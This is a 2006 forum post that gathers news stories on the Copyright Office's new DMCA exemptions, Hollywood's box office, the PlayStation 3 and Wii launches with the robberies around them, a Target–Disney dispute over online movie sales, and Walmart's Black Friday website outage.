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Old 22-11-06, 11:07 PM   #1
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Default Peer-To-Peer News - The Week In Review - November 25th, '06


































"I am very encouraged by the fact that the Copyright Office is willing to recognize exemptions for archivists, cell phone recyclers and computer security experts. Frankly I'm surprised and pleased they were granted." – Fred von Lohmann


"It's the negative connotations that DRM carries with it, the track record of privacy violation and integrity compromises, that prevents people from accepting it as the potential foundation for a legitimate business model." – Scott M. Fulton, III


"The fox is in the henhouse and it’s going to gobble a good part of this business up before anybody realizes they’re history." – Gene DeWitt


"The people who get into this business are fast-buck operators, carnival people, always have been. They don’t try to make good movies now; they’re trying to make successful movies. The marketing people run it now. You don’t really see too many smart people running the studios, running the video companies. They’re all making big money, but they’re not looking for, they don’t have a vested interest in, the shelf life of a movie. There’s no overview. No one says, 'Forty years from now, who’s going to want to see this.' No visionaries." – Robert Altman


"Every generation runs its course, and they are expected to step aside for the next generation. My peers are going through it right now, and they feel they have much to contribute, but the opportunity is no longer there. They’re considered obsolete, and it’s just not true. This film is about how we still have something more to say." – Sylvester Stallone


"There are now several million active digital pirates. Many of them are ordinary families that have got into the habit of downloading the latest episodes of American TV hits. And they don't have any qualms about using file sharing networks to copy new movies without paying." – David Price


"Only Fox knows whether or not they did the right thing." – Scott Blumenthal




































November 25th, '06






U.S. Copyright Office Issues New Rights
Anick Jesdanun

Cell phone owners will be allowed to break software locks on their handsets in order to use them with competing carriers under new copyright rules announced Wednesday.

Other copyright exemptions approved by the Library of Congress will let film professors copy snippets from DVDs for educational compilations and let blind people use special software to read copy-protected electronic books.

All told, Librarian of Congress James H. Billington approved six exemptions, the most his Copyright Office has ever granted. For the first time, the office exempted groups of users. Previously, Billington took an all-or-nothing approach, making exemptions difficult to justify.

"I am very encouraged by the fact that the Copyright Office is willing to recognize exemptions for archivists, cell phone recyclers and computer security experts," said Fred von Lohmann, an attorney with the civil-liberties group Electronic Frontier Foundation. "Frankly I'm surprised and pleased they were granted."
But von Lohmann said he was disappointed the Copyright Office rejected a number of exemptions that could have benefited consumers, including one that would have let owners of DVDs legally copy movies for use on Apple Computer Inc.'s iPod and other portable players.

The new rules will take effect Monday and expire in three years.

In granting the exemption for cell phone users, the Copyright Office determined that consumers aren't able to enjoy full legal use of their handsets because of software locks that wireless providers have been placing to control access to phones' underlying programs.

Providers of prepaid phone services, in particular, have been trying to stop entrepreneurs from buying subsidized handsets to resell at a profit. But even customers of regular plans generally can't bring their phones to another carrier, even after their contracts run out.

Billington noted that at least one company has filed lawsuits claiming that breaking the software locks violates copyright law, which makes it illegal for people to circumvent copy-protection technologies without an exemption from the Copyright Office. He said the locks appeared in place not to protect the developer of the cell phone software but for third-party interests.

Officials with the industry group CTIA-The Wireless Association did not return phone calls for comment Wednesday.

The exemption granted to film professors authorizes the breaking of the CSS copy-protection technology found in most DVDs. Programs to do so circulate widely on the Internet, though it has been illegal to use or distribute them.

The professors said they need the ability to create compilations of DVD snippets to teach their classes - for example, taking portions of old and new cartoons to study how animation has evolved. Such compilations are generally permitted under "fair use" provisions of copyright law, but breaking the locks to make the compilations has been illegal.

Hollywood studios have argued that educators could turn to videotapes and other versions without the copy protections, but the professors argued that DVDs are of higher quality and may preserve the original colors or dimensions that videotapes lack.

"The record did not reveal any alternative means to meet the pedagogical needs of the professors," Billington wrote.

Billington also authorized the breaking of locks on electronic books so that blind people can use them with read-aloud software and similar aides.

He granted two exemptions dealing with computer obsolescence. For computer software and video games that require machines no longer available, copy-protection controls may be circumvented for archival purposes. Locks on computer programs also may be broken if they require dongles - small computer attachments - that are damaged and can't be replaced.

The final exemption lets researchers test CD copy-protection technologies for security flaws or vulnerabilities. Researchers had cited Sony BMG Music Entertainment's use of copy-protection systems that installed themselves on personal computers to limit copying. In doing so, critics say, Sony BMG exposed the computers to hacking, and the company has acknowledged problems with one of the technologies used on some 5.7 million CDs.
http://hosted.ap.org/dynamic/stories...11-22-19-24-23





On So-Called "Trusted Computing"

"In their zeal to stamp out piracy," Schneier told me last year, "the media companies might actually stamp out computing. They don't want you to have computers; they want you to have Internet entertainment platforms. To the extent that you have a fully programmable computer, that's a danger, because you could do things that are unauthorized by whoever wants to start giving out authorization."

New Seagate Digitally Restricted Media Hard Drives (full article is also near the end of section two).





Hollywood Reclaims Its Audience
Sharon Waxman

Maybe Hollywood tried harder. Or maybe it didn’t try quite so hard.

Whichever the strategy, the movie business climbed its way out of a dismal pattern of declining audience to more solid footing in 2006. With most of the year’s movie receipts counted, the box office is up 6.5 percent over last year, and attendance has risen nearly 5 percent.

This weekend was just the latest litmus test of Hollywood’s overall health. As young men and other gamers lined up to buy Sony’s PlayStation 3, the box-office pulse beat strong. Warner Brothers, despite having one of its roughest years in recent memory, scored with the animated penguin musical, “Happy Feet,” which took in an estimated $42.3 million at the domestic box office.

And “Casino Royale,” the overhauled James Bond franchise with the pug-faced Daniel Craig in the lead, took in an estimated $40.6 million at the box office for Sony Pictures Entertainment. The movie took in another $42 million in a handful of major markets abroad (including Britain), evidence that the studio’s big-budget bet on a grittier Bond would pay off.

“We’re fantastically happy,” said Jeff Blake, Sony’s vice chairman, noting that the movie would be even more successful overseas than in this country. “This is on track to be the biggest Bond ever worldwide, by far.”

Both of these films, with budgets of $100 million and $140 million respectively qualified as blockbusters in a year peppered with more modestly sized successes, from “Talladega Nights” to “Saw III” to the surprise mockumentary hit “Borat,” which has taken in $90.5 million so far and is even finding audiences overseas.

By contrast, this time last year — as attendance was nose-diving by 8 percent — “Harry Potter and the Goblet of Fire” took in an eye-popping $102 million its first weekend.

That still wasn’t enough to reverse a trend of gloom and doom, and the realization that the movies had more competition than ever before from video games, online social networking and television.

“Last year people were looking to ‘King Kong’ and ‘Chronicles of Narnia’ to save the day,” said Paul Dergarabedian, president of Exhibitor Relations, which tallies the box office. There are no such films waiting around the corner in December, he noted, yet Hollywood will still finish the year on solid footing, buoyed by a broader array of films appealing to audiences that look beyond the young males who have been the most avid moviegoers.

Mr. Dergarabedian said, “This year we have to look to this collection of films to do well, and I think that will happen.”

Exhibitor Relations is projecting that the domestic box-office total will surpass $9 billion for the year, which it did not do in 2005. The international box office now adds up to even more than the domestic figure, but an overall figure for the year was not yet available.

To be sure 2006 had its share of blockbuster hits, but many of them did not fit the Hollywood formula of noisy explosions and computer magic.

Along with “Mission: Impossible III” and even Pixar’s “Cars,” neither of which performed to expectations, came “The Da Vinci Code,” an adult-audience blockbuster that did huge business overseas, along with a respectable box office in the United States, for a total of $755 million. Another film for grown-ups, “The Departed” by the director Martin Scorsese, has taken in $173 million at the box office around the world, though the film did cost $100 million to make.

And “The Devil Wears Prada,” starring a majestically mean Meryl Streep and no computer effects, was a surprise moneymaker by aiming for women and teenage girls. The movie cost $35 million to make, and has taken in $289 million worldwide.

“I think what it’s been is really a much better variety of pictures,” Mr. Blake said. “If we haven’t had, particularly in the fourth quarter, a blue chip sequel-blockbuster other than Bond, there certainly has been a lot of variety this year that has really added to the year. It hasn’t been the same audience that’s expected to show up. We’re not just chasing the young males and young females every week.”

Michael Lynton, the chairman of Sony, observed that the studios placed their marketing dollars more carefully this year.

“These days the industry seems to be mixing it up more in the marketing, more innovation vis-à-vis the Internet, better integration of publicity and media, more interesting use of outdoor,” he said. “Whether this has made a difference or not, I’m not sure I can judge.”

Alan Horn, the president of Warner Brothers, acknowledged that his studio’s blockbuster bets did not pay off — “Poseidon” and “Lady in the Water” chief among the failures — while “Superman Returns” did not perform to expectations. But with numerous midsize films opening in December, he said, including “Blood Diamond,” a thriller set in Africa, and a football movie, “We Are Marshall,” his studio would still surpass $1 billion at the box office this year.

“I wish we had done better; I’m disappointed we didn’t do better,” he said, while noting that the industry overall improved. “But is the audience there? Do they want to see movies? The box office for the industry would suggest that they’re there as much as they’ve been in prior years.”
http://www.nytimes.com/2006/11/20/movies/20roya.html





Retailers Prepare for Console Launches
May Wong

Retailers expect to be overwhelmed by demand during the impending video game console launches, but say they're working to keep the spirit festive while trying to prevent chaos and confusion.

Lines of anxious customers were growing at Best Buy and Wal-Mart stores across the country Wednesday as major retailers were getting confirmation of how many of Sony Corp.'s PlayStation 3 consoles they would be getting for its Friday launch.

Stock of Nintendo Co.'s Wii will not be as constrained, but retailers are also expecting the inaugural batch to sell out quickly after they go on sale Sunday.

Major retailers refused to widely announce exactly how many units would be distributed to individual locations.

To curb overly high hopes and potential frustrations, many retailers were trying to make it clear that supplies would be limited. They posted notices in stores and warned on Web sites that PS3 supplies would be tight through the holidays. Store employees are also reiterating the message to customers who are lining up in designated areas outside stores.

Best Buy noted on the front page of its nationwide circular ads on Sunday that it would have a minimum of 20 60-gigabyte PS3 models and six 20-gigabyte models per store on Friday. How much each store would have in stock above that allotment was up for speculation.

Jose Mota, 26, of Hayward isn't worried. He was the first in the line of 33 people who had already camped outside of the Best Buy store in Union City since Tuesday.

The store manager told them to keep the place clean and left the light on for them overnight, he said. The group - now an ad-hoc community - also is conducting a roll call every four hours to make sure everyone still has their places. People are taking turns to go get food or grab a shower.

Keeping a safe environment for consumers is a top priority, but the process is still a balancing act, said Jill Hamburger, vice president of gaming at Best Buy Co. Inc.

Sony promises 400,000 PS3 machines for the U.S. market on the day of the launch and a U.S. total of about 1 million units by year's end - down sharply from its original projections of 4 million. Nintendo expects to have 4 million Wiis ready worldwide when the console hits store shelves, with the bulk going to North America.

Sony declined to detail its distribution strategy, but spokesman Dave Karraker said the company is roughly following a normal path but scaling it down proportionately to a retailers' typical share of Sony gaming products.

Sony plans to replenish inventories weekly, using air transport instead of ocean freighters, he said.

Though Sony could not speak for retailers, Karraker hinted that stores holding midnight sales events would likely hold more units in stock.

Best Buy will have midnight openings at 18 stores, including one in West Hollywood complete with celebrities. Target Corp. is throwing an all-night party at its Atlantic Terminal store in the New York City borough of Brooklyn so gamers can try out the PS3 and get a chance to win one. The Sony Style Store in Manhattan will celebrate with a midnight opening.

Wal-Mart Stores Inc. will have a midnight opening on Friday and a PlayStation trailer outfitted with video gaming stations through the weekend at its Orlando Fla. location.

On the eve of the Nintendo Wii launch, Toys R Us Inc. will host a block party at its Times Square store in New York, featuring music, bright lights, a countdown clock and an appearance by Nintendo of America's president, Reggie Fils-Aime.

"We expect our stores across the country to be busy on the launch dates," said Target spokeswoman Paula Thornton-Greear. "Our stores are prepared to manage crowds including a ticket system to ensure those in line first receive a ticket that ensures them a console based on our inventory."

At Wal-Mart stores, only customers in the designated waiting areas armed with tickets toward purchase will be invited into the stores to pick up their consoles.

Toys R Us conducted in-store pre-sales of the PS3 on Oct. 29 during which customers camped overnight to get a limited number of tickets. The retailer was relieved to recently learn it would be able to deliver on those pre-orders, but no other customers will immediately be able to get any PS3s that day, Kathleen Waugh, a Toys R Us spokeswoman, said Wednesday.

"That word is out there now, and we're making sure people know in advance so they're not waiting outside," Waugh said.

Some GameStop Corp. customers who snagged pre-orders of a PS3 last month may not be quite as lucky, as the nation's largest specialty game retailer warned earlier this week it would not be able to fulfill all of its pre-orders on launch day.

Others, such as Amazon.com, chose not to take any pre-orders of the PS3 to avoid the potential of confusion or disappointment.

Even online auctioneer eBay Inc. - where PS3s with retail prices of $500 and $600 were bidding Wednesday at an average of $1,500 and Wii machines were going for more than double its $250 retail price - is taking precautions. It imposed restrictions, including limiting sales to only established eBay vendors with minimum rating levels.

The days leading up to the console launches haven't been completely glitch-free.

Best Buy inadvertently posted on its Web site last weekend that it was taking pre-orders for the PS3. It was removed within a few hours but not before an undisclosed number of customers swarmed after the erroneous offer.

To Sony's credit, however, it is effectively avoiding a repeat of the public outcry from the shortages of the rival Microsoft Xbox 360 launch last year, said Wedbush Morgan analyst Michael Pachter.

"Sony is managing this well. They are telling us the numbers are very small," Pachter said. "Nobody is thinking they're getting a PS3 for Christmas and those that do get it will be pleasantly surprised."
http://hosted.ap.org/dynamic/stories...11-16-02-55-35




Violence Mars Playstation 3 Launch
Peter Svensson

Two armed thugs tried to rob a line of people waiting for the new PlayStation 3 game system to go on sale early Friday and shot one man who refused to give up his money, authorities said.

In Sullivan, Ind., a man was in critical condition after emergency surgery for a stab wound after he and a friend tried to rob two men of consoles they waited 36 hours in line to buy, police said.

Nationwide, short supplies of the PS3 and strong demand led to long lines of buyers, some waiting for days outside stores. Once the doors opened Friday, they pushed and shoved their way to the shelves in several cities to get at the limited supply. Two people were arrested in Fresno, Calif., after a crowd trampled people in a parking lot.

It was about 3 a.m. when the two gunmen in Putnam, a town of about 9,000 residents in northeast Connecticut, confronted 15 to 20 people standing outside a Wal-Mart store and demanded money, said State Police Lt. J. Paul Vance.

"One of the patrons resisted. That patron was shot," Vance said.

Vance said the gunmen fled after shooting Michael Penkala, 21, of Webster, Mass., in the chest and shoulder. Penkala was in stable condition at the University of Massachusetts Medical Center in Worcester, Mass., with injuries not believed to be life-threatening, Vance said.

Police were searching for the suspects, both believed to be in their teens, Vance said. He said one was wearing a ski mask and brandishing a handgun, and the other had what appeared to be a shotgun.

About 30 miles away, another shopper was beaten and robbed of his new PlayStation 3 just minutes after he bought it at a store in Manchester, police said.

The shopper told police five men surrounded and beat him as he left the Shoppes at Buckland Hills.

Police Sgt. Chris Davis said the attackers pushed one of their cohorts out of the car as they drove away. That man, a 17-year-old from Windsor, was charged with robbery, larceny, assault and breach of peace.

Four other teenagers were arrested, and more arrests were expected, police told WTNH-TV late Friday.

Andrew Templeton, 20, and David Wiggins, 28, of Sullivan, Ind., were assaulted by two teens after waiting for 36 hours at a Super Wal-Mart, police said.

They were unloading their PlayStation 3s from their car when two teens approached them carrying a chain and a tire iron and demanding their consoles, said Sullivan Police Chief David Story.

A fight broke out. Wiggins' nose was broken, and he stabbed one of the attackers, Dylan Moss, 19, police said. Moss was in critical condition after surgery, officials said.

Sullivan County Prosecutor Bob Springer said he plans to charge Moss and accomplice Dustin Fagg, 19, with felony robbery.

Elsewhere, two men wearing black ski masks and sunglasses made off with five consoles after holding two employees at gunpoint at an Englewood, Ohio, video game store Thursday night, police said.

A Pennsylvania teenager was also robbed of his new PlayStation by a man who tapped on his car window with a handgun in Allentown, police said.

In Lexington, Ky., someone fired BB pellets from a passing vehicle at people waiting outside a Best Buy store, according to WKYT, whose own reporter said she was among four people grazed while she interviewed buyers in line.

Police fired a talcum powder ball at the ground outside a Target store in Henrico, Va., to get the attention of an unruly crowd of about 350 people who were waiting to buy one of the shop's eight consoles, police said.

In McLean, Va., police fired pepper pellets Friday morning to subdue a rowdy crowd of about 200 people outside a Circuit City store at Tysons Corner Center mall. One person complained of shortness of breath after the pellets were fired and was taken to the hospital, authorities said.

A Best Buy store in Boston, aware it had only 140 of the consoles, got smart about the big sale - its employees gave out tickets to the first 140 people in line so everyone could go home until the store opened.
http://hosted.ap.org/dynamic/stories...11-18-06-19-05





Nintendo Hopes for Console Comeback
Yuri Kageyama

Nintendo brought the world the mustachioed plumber Super Mario and has sold nearly 200 million Game Boy handheld machines over the years. It's also been coaxing the elderly and other video-game novices to try out puzzles and virtual pets on its DS portables instead of the standard shoot-em-up and sports games. Now the Japanese pioneer of video games is about to embark on its biggest push in home consoles in years with a machine called Wii that puts simplicity above fancy graphics and computing horsepower.

Nintendo Co. is banking on the Wii's remote-controller wand that can be swung around like a tennis racket, fishing pole, drumstick or orchestra baton in easy-to-play games that are expected to appeal to a wider audience than young males. It goes on sale Sunday in the United States and Dec. 2 in Japan.

If all goes well, Nintendo could win back some of the market share it once had in the business with its original 1983 console Family Computer, or Famicom, which was sold in the U.S. as Nintendo Entertainment System.

Nintendo is sticking with its historical fun-and-games roots as a toy maker in positioning itself against offerings from Microsoft Corp., a U.S. software company pushing Internet capabilities of its console, and Sony Corp., a Japanese electronics maker that has ruled the console gaming business since the mid-1990s.

Nintendo dates back to 1889, when it made Japanese-style "hanafuda" playing cards decorated with plum blossoms, pine trees and full moons, before moving on to Western style decks of cards and other modern toys.

After pioneering the video game business in the 1980s, Nintendo built up a host of powerful in-house game software offerings, including "The Legend of Zelda," "Kirby" and "Donkey Kong" series, as well as Super Mario and Pokemon - all offered only on Nintendo systems.

But that didn't stop Nintendo from being toppled as the industry leader in home consoles with the arrival of Sony's original PlayStation.

Sony's empire grew even bigger with the PlayStation 2, and Sony has sold more than 200 million PlayStation series machines over the years. It is estimated to control as much as 80 percent of the global home console market.

The successors to the Famicom and Super Famicom - Nintendo 64 and GameCube - couldn't keep up in part because rivals labeled them as machines for younger children. Nintendo shipped a cumulative 32.9 million Nintendo 64 machines, and 21.2 million Game Cubes worldwide.

But Nintendo branched out and scored success in portable game machines with its Game Boy and Game Boy Advance, and most recently with Nintendo DS that features a touch-panel screen. Nintendo has sold 26.8 million DS machines since late 2004 at a rate that's growing faster than any game machine ever.

The DS also broke new ground by offering different types of games, including ones that involved caring for a virtual pet, studying cooking recipes and tackling brain-teasing puzzles. Wii, Nintendo hopes, will continue that trend.

And some analysts are betting on Wii as a surprise winner during the year-end shopping season.

For one, it's defying past stereotypes of the young male geek audience in reaching out aggressively to older people, women and others who may be intimidated by the complex button-pushing required for most existing games.

Hiroshi Kamide, director of research at KBC Securities Japan, believes Wii will not only convert new gamers but also win over PlayStation and

Microsoft Xbox fans, who may buy Wii in addition to the latest upgrade PlayStation 3. The PS3 debuts in the U.S. on Friday.

"The Wii will expand the market pie and grow in that sense, but also actually be the second console of choice for all the core gamers," he said, adding that Wii's success will depend on how well it does on both counts.

"It will be very interesting to see how much the market pie grows because of the Wii. But it is still a game console at the end of the day," Kamide said.

Wii already has a pricing advantage at $250, or about half the price of the PlayStation 3 at about $500 or $600, depending on the model. The Xbox 360, which launched last year, sells for $300 to $400.

Nintendo also is preparing more machines. Company spokesman Yasuhiro Minagawa said nearly 400,000 Wiis will be available for the Japan launch date, and likely more for the U.S. launch.

Sony had just 100,000 PS3s for the Japan launch, and 400,000 consoles in the U.S. for Friday's debut. (Its European launch has been pushed back until March because of production problems.)

Nomura Securities Co. analyst Yuta Sakurai believes PlayStation's domination in the industry will get watered down with the arrival of Wii, estimating Nintendo will sell 40 million machines compared with 70 million PlayStation 3 consoles in the next five years.

More critically, the profit is also likely to be better for Nintendo, as Sony is losing money for every PS3 console it sells until it gets a return on its massive investments, he said.

"It's nonsense to measure success by how many machines you sold," Sakurai said. "If it's failing as a business, then it's a failure. Nintendo is doing a fantastic job maintaining profitability."

Sony is expecting to rack up 200 billion yen ($1.7 billion) in red ink in its game unit for the fiscal year ending March 2007, much of it in startup costs for PlayStation 3. By contrast, Nintendo is forecasting profit of 100 billion yen ($845 million) for the fiscal year, as Wii buoys earnings in the second half.

Nintendo also creates most of its game software for its machines in-house, which contributes to hefty profit. Sony has outside companies making much of its game software.

Nintendo spokesman Yasuhiro Minagawa says the company's name, which means "trusting in luck," believed to refer to hanafuda cards, is telling today in the gaming business.

"You do everything you can. Beyond that, it's luck," he said. "Winners and losers in entertainment aren't decided by reason alone. Trends come and go, and sometimes great things don't sell. It's all so whimsical."
http://hosted.ap.org/dynamic/stories...11-16-04-39-25





Nintendo Launches Wii, Challenging Sony
Peter Svensson

More than a thousand fans lined up in Times Square for the Sunday launch of Nintendo's entry into the holiday season's field of competing video game consoles, the cheap but innovative Wii.

Despite the throngs, the midnight launch event went smoothly. That contrasted with the launch of Sony Corp.'s PlayStation 3 console just two days earlier, which forced police to disperse crowds at some stores around the country.

The first buyer, Isaiah Triforce Johnson, had been waiting in line outside the store for more than a week. He wore a Nintendo Power Glove, a wearable controller that came out in 1989, while shaking hands with Nintendo of America president Reggie Fils-Aime after buying the first Wii. Johnson said he had legally changed his middle name to a reference in Nintendo's "Zelda" series of games.

Launching right after the much-vaunted and technically sophisticated PlayStation 3 is a brave move for Nintendo, which is playing catch-up after losing dominance of the home console market to Sony in the mid-90s.

The Wii itself is a daring design: It eschews the high-definition graphics that are the main selling points of the PlayStation 3 and Microsoft Corp.'s Xbox 360, which came out a year ago. Instead, Nintendo hopes to attract a new generation of fans by changing the way games are played. The console comes with a motion-sensitive controller that acts as a tennis racket, baseball bat, steering wheel, gun or sword depending on the game.

Fils-Aime said the company made "some very tough choices" in designing the Wii.

"Tough choices about not including a DVD player at the start, tough choices about not including high-definition capability at the start. That's because we wanted a mass-market price, and we believe the market will validate those decisions come launch day on this Sunday," he said.

The Wii costs $250 and includes one game. The two PlayStation 3 models cost $500 and $600, with no included game. The two Xbox 360 models cost $300 and $400, with no game. Online, the prices are steeper: PlayStation 3s were selling for around $2,500 on eBay Saturday, while Wiis (listed by sellers who had pre-ordered from retailers and expected to get the units Sunday) were listed at around $500.

Sony had about 400,000 PlayStation 3s in North American stores on Friday. Nintendo has said it would have "five to ten" times as many Wiis available at launch, and will have shipped 4 million units by the end of the year. It still expects consoles to sell out in stores.

The relative abundance of units, and a smaller fan base, should make Sunday a calmer shopping day than Friday. On Saturday evening, people were lining up at stores more to show their devotion to Nintendo and celebrate the occasion than because they were afraid of not getting a Wii.

At the Nintendo World store in Manhattan's Rockefeller Center, 86 people were lined up for the morning opening. Anthony Eaton, dressed in green as the character Link from the "Zelda" series, looked chagrined when passing girls called him "Peter Pan."

Eaton, 18, didn't really need to be in line, since his friend had pre-ordered a Wii for him that would be available for pickup the next morning.

"It's all in the spirit of gaming. Wiis only get launched once, and we gotta do this right," said Eaton, who had traveled from Washington to go to the only U.S. store bearing the Nintendo name.

A few blocks away, there was no one in line at a Best Buy store that would start selling the console Sunday morning.

In the Los Angeles area, more than 500 people waited in line at the Game Stop at Universal City Walk. The store handed out numbered wristbands to avoid the crushes that were common at the PlayStation 3 openings.

The first to buy the system at midnight was Jonathan Mann, 24, who was dressed in red overalls and a cap like the Mario character from "Super Mario Bros."

"I'm a little delirious. I've been up for about 40 hours straight. But I've got it in my hands now and it feels good," said Mann, adding that he has written more than 40 songs about the console for his gaming Web site, gamejew.com. His song titles include "Wii Means You and Me" and "The Wind Whispers Wii."

In a somewhat unusual move for a Japanese company, the Wii was scheduled to go on sale in Japan two weeks after the U.S. launch, the opposite of Sony's launch order. Nintendo said it made the decision to get in on U.S. holiday shopping, which starts earlier than shopping in Japan.

Analyst John Broady at gaming Web site GameSpot.com sees the timing as David taunting Goliath.

"They obviously are confident that they can go head-to-head with Sony," Broady said. "It was a very, very gutsy move."

Broady said that judging by the gaming enthusiasts who visit GameSpot, the Wii has as much buzz behind it as the PlayStation 3. It's been well reviewed, and it's helped by interest in a new installment in the Zelda series, "Twilight Princess."

"The big question is, when you get past this set of people who are really into games, how deep does this buzz go in the general population?" Broady asked. "I think everybody in America yesterday knew that the PlayStation 3 was launching and knew what it was. In most homes around the country, I think most people wouldn't know what a Nintendo Wii was at this particular moment."

Nintendo's stated goal is to hook people with the lure of the wireless controllers, low price and a small, cute main unit that will fit easily in most entertainment centers.

Explaining to a mass audience the appeal of the controllers and what makes the console different is a challenge for the company, but one that will get easier, Broady predicted.

"I think as the Wii gets out in the marketplace, and people start seeing it, I think it will make a huge difference," he said.
http://hosted.ap.org/dynamic/stories...11-19-06-28-43





Wii, Nemesis to PlayStation, Hits Market
Peter Svensson

Nintendo Co.'s entry into the game console wars, the Wii, went on sale Sunday, and quickly sold out in many stores despite stocks that far surpassed those of the rival PlayStation 3, which went on sale two days earlier.

"There were enough people in line to snap up almost all the units of the Nintendo Wii that we had in stock, so it was an instant sellout," said Circuit City spokesman Jim Babb. There were a few overnight campers, but most had lined up in the early morning.

Spot checks at New York stores turned up only one, the Toys R Us in Times Square, with Wiis in stock. The store hosted a midnight launch event that drew a crowd of more than a thousand people for the sale of the very first Wii.

The first buyer, Isaiah Triforce Johnson, had been waiting outside the store for more than a week. He wore a Nintendo Power Glove, a wearable controller that came out in 1989, while shaking hands with Nintendo of America president Reggie Fils-Aime. Johnson said he had legally changed his name to include a reference to Nintendo's "Zelda" series of games.

The launch apparently went smoothly, a contrast to the PlayStation 3 release, which forced police to disperse rowdy crowds at some stores around the country.

Sony had about 400,000 PlayStation 3s in North American stores on Friday. Nintendo has said it would have "five to ten" times as many Wiis available at launch, and will have shipped 4 million units by the end of the year.

The Wii costs $250, including one game, half of what the cheaper PlayStation 3 model costs. The most common PlayStation 3 model costs $600, with no included game.

On the eBay auction site, Wiis were selling Sunday for twice the store price, indicating that supplies are still tight. The PlayStation 3, meanwhile, was selling for around $1,500, already down about $1,000 from Friday.

"The people we saw today were much more likely to take these games home and play them and love them rather than flip them on eBay," Babb said. Circuit City expects more Wiis in stock soon, but Babb could not say exactly when.

Launching right after the much-vaunted and technically sophisticated PlayStation 3 is a brave move for Nintendo, which lost the top spot in the market to Sony Corp. in the mid-90s. More recently, Microsoft Corp. has waded into the market as well.

The Wii takes a different tack than the competition, forgoing the high-definition graphics that Sony has spent billions to develop for the PlayStation 3.

Instead, Nintendo aims to draw gamers and non-gamers alike with intuitive game play. The Wii comes with a motion-sensitive controller that the gamer waves around in the air, using it as a tennis racket, golf club, steering wheel, gun or sword depending on the game.
http://hosted.ap.org/dynamic/stories...11-19-19-07-15





Wii to Allow Users to Surf the Internet
AP

For video game addicts facing the conundrum of how to balance hours of nonstop game playing with the occasional need to know what's going on in the outside world, Nintendo may have found a solution.

Nintendo Co.'s new Wii video game console will include ways for people with a high-speed Internet connection to surf the Web, share photos, check the weather and browse news headlines, the company said Thursday.

The company also plans an online store, accessible through the console, where people can download games or buy other items.

The Wii launches in the U.S. on Sunday and will cost $249.99. Several services, such as the weather and news offerings, are scheduled to debut in the months following the launch.

Nintendo is partnering with Weathernews for local weather, with The Associated Press for news content and with Opera Software ASA for a Web browser. The company said it's possible it will work with other companies to add more offerings down the road.

Nintendo isn't the only company hoping to offer more from its video game console via online connections. Microsoft Corp.'s Xbox scored an early hit with its Xbox Live online game play system, and has since begun offering more perks to Internet-connected users.

With the Wii, Nintendo is trying to attract people who may have been turned off in the past by the complexity of video games. It features a unique wand that can be swung around like a tennis racket, fishing pole, drumstick or orchestra baton to control games.
http://hosted.ap.org/dynamic/stories...11-16-18-39-54





Target Backs Off In Online Movies Feud
Gary Gentile

Discount retailer Target backed off plans to pull in-store promotions of products from Walt Disney after Disney threatened not to ship DVDs of hit movie "Pirates of the Caribbean: Dead Man's Chest," a person familiar with the situation said Friday.

The companies are at odds over The Walt Disney Co.'s decision to sell movies online through Apple Computer Co.'s iTunes store for less than it charges Target and other retailers.

The dispute is part of a feud between a number of major retailers and Hollywood studios over online movie sales.

Target Corp. stores had removed signs promoting the DVD of the Disney-Pixar animated film "Cars" and other Disney products, according to a person familiar with the situation who was not authorized to speak for either company.

The two sides are discussing their differences after resolving the standoff, the person said.

A Disney spokeswoman declined comment. A call to Target for comment was not immediately returned. The situation was reported on the Disney Internet fan site JimHillmedia.com and in the Wall Street Journal.

Studios selling digital copies of films for less than the wholesale price of DVDs rankles retailers, who see Internet distribution of films as a threat to their business and have reminded studios that DVD sales provide the majority of profit for most films.

Studios counter that digital versions of films should be less expensive because they are lower quality and typically do not contain the kinds of extra features included on DVDs.

Last month, Target President Gregg Steinhafel sent a letter to every Hollywood studio warning them about undercutting the wholesale price of DVDs by giving online services a better deal on digital offerings.

"Target cannot be expected simply to accept that risk and continue to do business as usual," Steinhafel wrote.

"Our space, signing, promotional programs and the hundreds of millions of consumers in our stores annually should not be undervalued," he wrote.

Disney so far is the only studio offering films over iTunes, which sets its own price for all titles.

Disney and other studios also sell films through other online services, which allow the studios to set their own prices.
http://hosted.ap.org/dynamic/stories...11-17-19-32-45





Wal-Mart's Site Stalls on Black Friday
Anick Jesdanun

High traffic disrupted Wal-Mart Stores Inc.'s Web site for much of Friday, one of the year's busiest shopping days.

The Walt Disney Co. also had problems handling the rush of online activity Friday, while Amazon.com Inc.'s site had brief disruptions a day earlier due to a Thanksgiving Day sale on Microsoft Corp.'s Xbox 360 video game machines.

For much of Friday morning, attempts to open Walmart.com resulted blank pages, delays or other problems. By early afternoon, visitors were simply told to come back later.

Walmart.com spokeswoman Amy Colella blamed a "higher than anticipated traffic surge."

Black Friday, the day after the Thanksgiving holiday, marks one of the year's busiest days for retailers and the official start of the holiday shopping season.

The Wal-Mart site appeared to be back to normal mid-afternoon Friday, after frustrating countless potential shoppers for some 10 hours.

"People who wanted to purchase one of those plasma TVs, ... they probably went to a competitor potentially," said Ben Rushlo, senior manager of competitive research at Keynote Systems Inc.

Keynote, which regularly monitors performance at leading Web sites, said its probes began detecting problems at about 4:30 a.m. EST. Throughout the morning, visitors still could access portions of the site but generally ran into difficulty before completing purchases.

For instance, searches that normally take a second or two were taking 30 or 40 seconds, Rushlo said, and attempts to log in or pay for purchases sometimes generated error messages.

Walmart.com is the 21st most popular site in the U.S., with 22.8 million unique visitors in September, according to comScore Media Metrix.

Rushlo said retailers get better each year bracing for the volumes, but they also make their sites increasingly complex, adding 360-degree views of products and other features. Nonetheless, with the exception of Wal-Mart, online retailers were generally performing well.

"There were a few glitches here and there, minor problems," Rushlo said.

He said Amazon.com's troubles were relatively small.

The site was disrupted for about 15 minutes, starting at about 2 p.m. EST Thursday, as the retailer was offering the Xbox 360 to the first 1,000 customers for $100, $200 below the regular retail price.

"We saw dramatically more traffic than what we anticipated," Amazon.com spokesman Craig Berman said Friday.

The Xbox sold out in 29 seconds, Berman said. Amazon also sold out of discounted Mongoose mountain bikes, Barbie dolls and Amazon Prime memberships with $100 gift certificates in about 15 minutes.

The home page of Disney's shopping site generally loaded fine, but troubles occurred "a couple of clicks into it," said Gary Foster, spokesman for DisneyShopping.com.

He said the site began to experience congestion at about 9 a.m. EST, following a record Thanksgiving Day of sales and Web traffic. He said Disney already was planning to run sales through Sunday night and expects customers to come back.

"I'm fairly certain we will make up for the loss today," he said.

Roughly 137 million people are expected to hit the mall from Friday to Sunday, according to the National Retail Federation, making it one of the most lucrative weekends for stores.

Millions of people are also expected to shop online starting this weekend. The Monday after Thanksgiving, also known as "Cyber Monday," is expected to be one of the year's biggest online holiday shopping days, as people return to work and shop online using their office computers.
